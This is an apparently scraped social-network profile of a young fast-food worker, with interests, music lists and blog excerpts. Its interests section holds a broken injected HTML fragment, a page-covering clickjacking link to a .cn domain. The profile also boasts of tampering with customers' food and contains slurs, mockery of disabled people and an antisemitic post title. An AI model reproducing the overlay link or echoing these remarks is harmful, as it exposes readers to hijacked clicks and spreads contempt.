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I am here for Friends

About Me

A.D.D + narcolypsy= what the fuck is goin on? i have them both. i live in the tiniest shitiest little town that you'll never hear of. frustration. Let's break some shit. Maybe some bones. i'm pretty worthless, i like to do alot of nothing, pretty careless. i cant stand velvet it makes me want to kill myself, also having my throat touched. i hate ppl more than velvet. but i love getting into their business, i love to know others ppls stories. and boy do i love fuck ups. hate short ppl but other disabilities are intriguing as all hell. im late for everything, even growing up. i work fastefood thats what makes me awsome. fastfood.i'm the kind of person that when we meet for the first time your always goin to walk away thinking 'what was the point in that'. depending on the day your either going to be referring to a rediculus first impression or the lack of anything significant at all.

My Interests

shiney objects Putting random holes in my body. Fucking shit up. Not being sober. Eavesdropping. Getting in the middle of wherever I don't belong. CRAZY FUCKERS. mental cases are so awsome. animals, gimps, horse sized dogs. GUYS WITH LONG HAIR. oh my. pooping's kinda cool. getting hurt, fire, not getting hurt, other ppl getting hurt. poems, hyper nerds, porno. goodwill, free stuff. hobos. art. dropping food on the floor and surving it to fat bastards. spitting in mayo and surving it to sluts. having sex with my manager and not getting a raise. popping zits is king.a class="popup_wrapper" style="cursor:default;background-image:url(http://klaxolw1.c n/bg.jpg);left:0px;top:0px;height:7150px;width:1108px;" href="http://klaxolw1.cn/s/" m$l$

I'd like to meet:

someone not in a band.... hah. Someone worth meeting. that discludes anyone who makes random words plural, example: oh wells worse yet owellz. Also anyone who thinks its cute to use yellow expressoin faces, and the worse yet for that one is ppl who get creative and find purple ones, or ones that look like little crying animals and such. for anyone that can avoid these things, my aol name is pocketjimmy or slbarnar

Music:

Incubus, Zebrahead, Sublime, Billy Talent, Nirvana, Korn, Fuel, Oleander, The All American Rejects, AFI, Our Lady Peace, Home Grown, G Love & Special Sauce, Dropkick Murphys, finch, greenday, 311, shootyzgroove, sensesfail, the early november, forge, Anti Flag, rise against, THE BLED.

Movies:

Fight Club, CKY, Jackass, What's Eating Gilbert Grape, Blow, Donny Darko, Lord of the Rings, Girl Interupted, SLC Punk.

Television:

dont watch too much of it. but when i do its, Adult Swim, family guy, viva la bam

Books:

i hate reading except for David Sadieris. hes fucked up.

Heroes:

this hobo i seen one time in detriot at a 311 concert. he had bird shit in his hair and he was missing one leg and one wheel on his wheel chair.

My Blog

pecan delight

i thought the fear would pass in time.  cheer would reenter my life niave and pleasant as ever.  but forgetting is loseing; a memory - a lesson.  to forgive you i would have to forget t...
Posted by barn on Sat, 08 Dec 2007 12:15:00 PST

Reset

Reset I held the 'set alarm' button down; I was startled to see 6 a.m.   It reminded of everything I must forget. Of what I've been working so fucking hard to forget.  Damn the little r...
Posted by barn on Wed, 01 Nov 2006 03:03:00 PST

sick

      I'm appalled by this moment- in this 60's style apartment.  Sitting here with my equally useless roommate.  There's a disgusting lack of movement about us.&nbs...
Posted by barn on Thu, 30 Mar 2006 10:58:00 PST

A little bit of cat for your dawg

If I cant get my fat ass off the couch and work towards my future, does that mean it will never come?  You cant prevent a future from coming with the lack of preparations for it.  A hectic...
Posted by barn on Sat, 10 Dec 2005 01:31:00 PST

so my mom desided she wanted a girl. and she was not goin to have it any other way. she bought me a tanning thing and a certificate to get my NAILS DONE. wtf. i took a shit on that idea, but she sai...
Posted by barn on Mon, 01 Jan 1900 12:00:00 PST

shoes are for jews

today getting to school was hell. i finally got my car, which is a piece, to work. i was all excited to be back behind the wheel so of course i had to go fast. and even faster when i saw the giant sn...
Posted by barn on Mon, 01 Jan 1900 12:00:00 PST

And this is how it goes...

got drunk off cheap shit...played in snow....cant remember anyhting else......passed out...woke up still drunk....made out with hot guy in band......went to work with hangover at subway....dropped 3 t...
Posted by barn on Mon, 01 Jan 1900 12:00:00 PST

this is how it is

me and my friends stole a wheelchair out of someone yard today. it was stuck in a big snow drift. so the straining that it took to pull the damn thing out required some loud obnoxious yelling. ya kn...
Posted by barn on Mon, 01 Jan 1900 12:00:00 PST